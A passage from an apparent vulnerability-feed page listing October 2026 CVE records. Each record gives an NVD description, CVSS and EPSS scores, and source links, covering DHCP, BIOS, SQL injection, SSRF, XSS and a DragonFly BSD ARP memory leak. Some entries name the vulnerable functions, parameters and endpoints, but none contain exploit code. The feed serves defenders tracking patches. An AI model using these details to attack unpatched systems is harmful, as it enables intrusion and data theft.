EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96320&date=2026-10-25).
Sources:
NVD CVE-2026-96320: https://nvd.nist.gov/vuln/detail/CVE-2026-96320
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96320
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96320&date=2026-10-25
Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw in Portal for ArcGIS allows unauthenticated access to 

certain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access...
https://kevwire.com/record/CVE-2026-69227
A flaw in Portal for ArcGIS allows unauthenticated access to 

certain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access... (Oct 13, 2026).
A flaw in Portal for ArcGIS allows unauthenticated access to 

certain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access administrative functionality that should require authentication.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69227).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69227&date=2026-10-25).
Sources:
NVD CVE-2026-69227: https://nvd.nist.gov/vuln/detail/CVE-2026-69227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69227&date=2026-10-25
A flaw in Portal for ArcGIS allows unauthenticated access to 

certain Portal Administrator API endpoints under specific conditions. This could enable an attacker to access administrative functionality that should require authentication.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Observable response discrepancy vulnerability in IKAS Technology Inc.
https://kevwire.com/record/CVE-2026-14177
Observable response discrepancy vulnerability in IKAS Technology Inc. (Oct 16, 2026).
Observable response discrepancy vulnerability in IKAS Technology Inc. Ikas E-Commerce Infrastructure allows Account Footprinting.

This issue affects ikas E-Commerce Infrastructure: through 2026-07-13.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-14177).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-14177&date=2026-10-25).
Sources:
NVD CVE-2026-14177: https://nvd.nist.gov/vuln/detail/CVE-2026-14177
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-14177&date=2026-10-25
Observable response discrepancy vulnerability in IKAS Technology Inc. Ikas E-Commerce Infrastructure allows Account Footprinting.

This issue affects ikas E-Commerce Infrastructure: through 2026-07-13.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AMI APTIOV contains vulnerabilities in BIOS where users may cause 
“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer...
https://kevwire.com/record/CVE-2025-58772
AMI APTIOV contains vulnerabilities in BIOS where users may cause 
“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer... (Oct 13, 2026).
AMI APTIOV contains vulnerabilities in BIOS where users may cause 
“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-58772).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58772&date=2026-10-25).
Sources:
NVD CVE-2025-58772: https://nvd.nist.gov/vuln/detail/CVE-2025-58772
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58772&date=2026-10-25
AMI APTIOV contains vulnerabilities in BIOS where users may cause 
“Classic Buffer Overflow” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AMI APTIOV contains vulnerabilities in BIOS where users may cause  "Out-of-bounds Write” by local access.
https://kevwire.com/record/CVE-2025-58773
AMI APTIOV contains vulnerabilities in BIOS where users may cause  "Out-of-bounds Write” by local access. (Oct 13, 2026).
AMI APTIOV contains vulnerabilities in BIOS where users may cause  "Out-of-bounds Write” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-58773).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58773&date=2026-10-25).
Sources:
NVD CVE-2025-58773: https://nvd.nist.gov/vuln/detail/CVE-2025-58773
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58773&date=2026-10-25
AMI APTIOV contains vulnerabilities in BIOS where users may cause  "Out-of-bounds Write” by local access. Successful exploitation of this vulnerability could lead to buffer overflows, memory corruption, and arbitrary code execution, and also impact Confidentiality, Integrity, and Availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AMI APTIOV contains vulnerabilities
in BIOS where users may cause “Buffer Access with Incorrect Length
Value” by local access. Successful exploitation of this vulnerability could...
https://kevwire.com/record/CVE-2025-58774
AMI APTIOV contains vulnerabilities
in BIOS where users may cause “Buffer Access with Incorrect Length
Value” by local access. Successful exploitation of this vulnerability could... (Oct 13, 2026).
AMI APTIOV contains vulnerabilities
in BIOS where users may cause “Buffer Access with Incorrect Length
Value” by local access. Successful exploitation of this vulnerability could
lead to buffer overflows, memory corruption, and arbitrary code execution, and
also impact Confidentiality, Integrity, and Availability.
CVSS 8.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-58774).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58774&date=2026-10-25).
Sources:
NVD CVE-2025-58774: https://nvd.nist.gov/vuln/detail/CVE-2025-58774
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58774&date=2026-10-25
AMI APTIOV contains vulnerabilities
in BIOS where users may cause “Buffer Access with Incorrect Length
Value” by local access. Successful exploitation of this vulnerability could
lead to buffer overflows, memory corruption, and arbitrary code execution, and
also impact Confidentiality, Integrity, and Availability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-63618
Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin. (Oct 16, 2026).
Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63618).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63618&date=2026-10-25).
Sources:
NVD CVE-2026-63618: https://nvd.nist.gov/vuln/detail/CVE-2026-63618
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63618&date=2026-10-25
Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin.



This issue affects Apache Kylin: from 4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts...
https://kevwire.com/record/CVE-2026-94134
The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts... (Oct 15, 2026).
The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts any server key. This affects SSH and SFTP connections that rely on the default. An attacker in a machine-in-the-middle position between the worker and the SSH or SFTP server can impersonate the server and capture the credentials or data a task sends.

Users of apache-airflow-providers-ssh and apache-airflow-providers-sftp are recommended to upgrade to apache-airflow-providers-ssh 7.0.0 and apache-airflow-providers-sftp 7.0.0 or later. The deferrable SFTP code paths had the same default and are covered separately by CVE-2026-94135; apache-airflow-providers-sftp 7.0.0 fixes both.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94134).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94134&date=2026-10-25).
Sources:
NVD CVE-2026-94134: https://nvd.nist.gov/vuln/detail/CVE-2026-94134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94134&date=2026-10-25
The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts any server key. This affects SSH and SFTP connections that rely on the default. An attacker in a machine-in-the-middle position between the worker and the SSH or SFTP server can impersonate the server and capture the credentials or data a task sends.

Users of apache-airflow-providers-ssh and apache-airflow-providers-sftp are recommended to upgrade to apache-airflow-providers-ssh 7.0.0 and apache-airflow-providers-sftp 7.0.0 or later. The deferrable SFTP code paths had the same default and are covered separately by CVE-2026-94135; apache-airflow-providers-sftp 7.0.0 fixes both.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow.
https://kevwire.com/record/CVE-2026-101300
Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow. (Oct 16, 2026).
Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow. According to the report, an authenticated user with a promoter account can manipulate the <svg> parameter of the POST request generated by selecting Download PDF. The content is processed by the export.highcharts.com service, which sends HTTP requests to attacker-controlled external resources and embeds their responses in the generated PDF. The reported behavior allows the export service to be used as an intermediary for these requests.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101300).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101300&date=2026-10-25).
Sources:
NVD CVE-2026-101300: https://nvd.nist.gov/vuln/detail/CVE-2026-101300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101300&date=2026-10-25
Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow. According to the report, an authenticated user with a promoter account can manipulate the <svg> parameter of the POST request generated by selecting Download PDF. The content is processed by the export.highcharts.com service, which sends HTTP requests to attacker-controlled external resources and embeds their responses in the generated PDF. The reported behavior allows the export service to be used as an intermediary for these requests.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and...
https://kevwire.com/record/CVE-2026-110912
In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and... (Oct 15, 2026).
In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and protocol address length (ar_pln) fields of incoming ARP packets. in_arpreply() then uses these attacker-controlled values as memcpy lengths when copying from kernel buffers that are only 6 and 4 bytes long, resulting in an out-of-bounds read of kernel heap and stack memory that is copied into the ARP reply sent back to the requester. An unauthenticated attacker on the adjacent network can use a single crafted ARP request to disclose up to roughly 250 bytes of each type of kernel memory, including kernel pointers. This is expected to be fixed in the 6.6 stable release when that is available.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110912).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110912&date=2026-10-25).
Sources:
NVD CVE-2026-110912: https://nvd.nist.gov/vuln/detail/CVE-2026-110912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110912&date=2026-10-25
In DragonFly BSD through 6.4.2 before 4bb22ff, the ARP input handlers arpintr() and in_arpinput() (sys/netinet/if_ether.c) do not validate the hardware address length (ar_hln) and protocol address length (ar_pln) fields of incoming ARP packets. in_arpreply() then uses these attacker-controlled values as memcpy lengths when copying from kernel buffers that are only 6 and 4 bytes long, resulting in an out-of-bounds read of kernel heap and stack memory that is copied into the ARP reply sent back to the requester. An unauthenticated attacker on the adjacent network can use a single crafted ARP request to disclose up to roughly 250 bytes of each type of kernel memory, including kernel pointers. This is expected to be fixed in the 6.6 stable release when that is available.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security...
https://kevwire.com/record/CVE-2026-111396
Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security... (Oct 16, 2026).
Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Post Manager: from n/a through 4.5.6.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111396).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111396&date=2026-10-25).
Sources:
NVD CVE-2026-111396: https://nvd.nist.gov/vuln/detail/CVE-2026-111396
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111396&date=2026-10-25
Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Post Manager: from n/a through 4.5.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps...
https://kevwire.com/record/CVE-2026-111399
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps... (Oct 16, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows SQL Injection.This issue affects MapSVG: from n/a through 8.16.1.
CVSS 8.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111399).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111399&date=2026-10-25).
Sources:
NVD CVE-2026-111399: https://nvd.nist.gov/vuln/detail/CVE-2026-111399
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111399&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows SQL Injection.This issue affects MapSVG: from n/a through 8.16.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme...
https://kevwire.com/record/CVE-2026-111413
Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme... (Oct 16, 2026).
Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme Helper: from n/a through 1.0.8.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111413).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111413&date=2026-10-25).
Sources:
NVD CVE-2026-111413: https://nvd.nist.gov/vuln/detail/CVE-2026-111413
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111413&date=2026-10-25
Cross-Site Request Forgery (CSRF) vulnerability in aThemeArt aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme Helper: from n/a through 1.0.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data to...
https://kevwire.com/record/CVE-2026-111444
Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data to... (Oct 16, 2026).
Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data to inline-literal paths. These include opt-in parameterize=false queries and IN lists, and positions in developer-written where strings that the parser does not bind, such as BETWEEN bounds, function arguments and LIKE ESCAPE literals. Doubling single quotes without accounting for backslash escapes allows a value to alter the query. Bound paths are not affected; whereBetween() is bound from 4.1.2. This is fixed in 4.2.0.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111444).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111444&date=2026-10-25).
Sources:
NVD CVE-2026-111444: https://nvd.nist.gov/vuln/detail/CVE-2026-111444
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111444&date=2026-10-25
Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data to inline-literal paths. These include opt-in parameterize=false queries and IN lists, and positions in developer-written where strings that the parser does not bind, such as BETWEEN bounds, function arguments and LIKE ESCAPE literals. Doubling single quotes without accounting for backslash escapes allows a value to alter the query. Bound paths are not affected; whereBetween() is bound from 4.1.2. This is fixed in 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An SQL injection vulnerability has been discovered in TSG Profleet.
https://kevwire.com/record/CVE-2026-111472
An SQL injection vulnerability has been discovered in TSG Profleet. (Oct 16, 2026).
An SQL injection vulnerability has been discovered in TSG Profleet. The vulnerability could allow an attacker to retrieve, create, update and delete data from the database by sending a GET request using the ‘Identificación’ parameter of the ‘/cgi-bin/index.php’ endpoint.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111472).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111472&date=2026-10-25).
Sources:
NVD CVE-2026-111472: https://nvd.nist.gov/vuln/detail/CVE-2026-111472
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111472&date=2026-10-25
An SQL injection vulnerability has been discovered in TSG Profleet. The vulnerability could allow an attacker to retrieve, create, update and delete data from the database by sending a GET request using the ‘Identificación’ parameter of the ‘/cgi-bin/index.php’ endpoint.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1.
https://kevwire.com/record/CVE-2026-94169
Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1. (Oct 16, 2026).
Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1.
CVSS 10.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94169).
EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94169&date=2026-10-25).
Sources:
NVD CVE-2026-94169: https://nvd.nist.gov/vuln/detail/CVE-2026-94169
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94169&date=2026-10-25
Improper Control of Generation of Code ('Code Injection') vulnerability in Theme-one The Grid the-grid allows Command Injection.This issue affects The Grid: from n/a through 2.8.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This...
https://kevwire.com/record/CVE-2026-94388
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This... (Oct 16, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This issue affects Green Popups: from n/a before 7.6.3.
CVSS 9.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94388).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94388&date=2026-10-25).
Sources:
NVD CVE-2026-94388: https://nvd.nist.gov/vuln/detail/CVE-2026-94388
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94388&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in halfdata Green Popups halfdata-green-popups allows Blind SQL Injection.This issue affects Green Popups: from n/a before 7.6.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from...
https://kevwire.com/record/CVE-2026-96339
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from... (Oct 16, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from n/a through 4.4.0.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96339).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96339&date=2026-10-25).
Sources:
NVD CVE-2026-96339: https://nvd.nist.gov/vuln/detail/CVE-2026-96339
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96339&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Houzez.co Houzez houzez allows Reflected XSS.This issue affects Houzez: from n/a through 4.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1.
https://kevwire.com/record/CVE-2026-97296
Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1. (Oct 16, 2026).
Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97296).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97296&date=2026-10-25).
Sources:
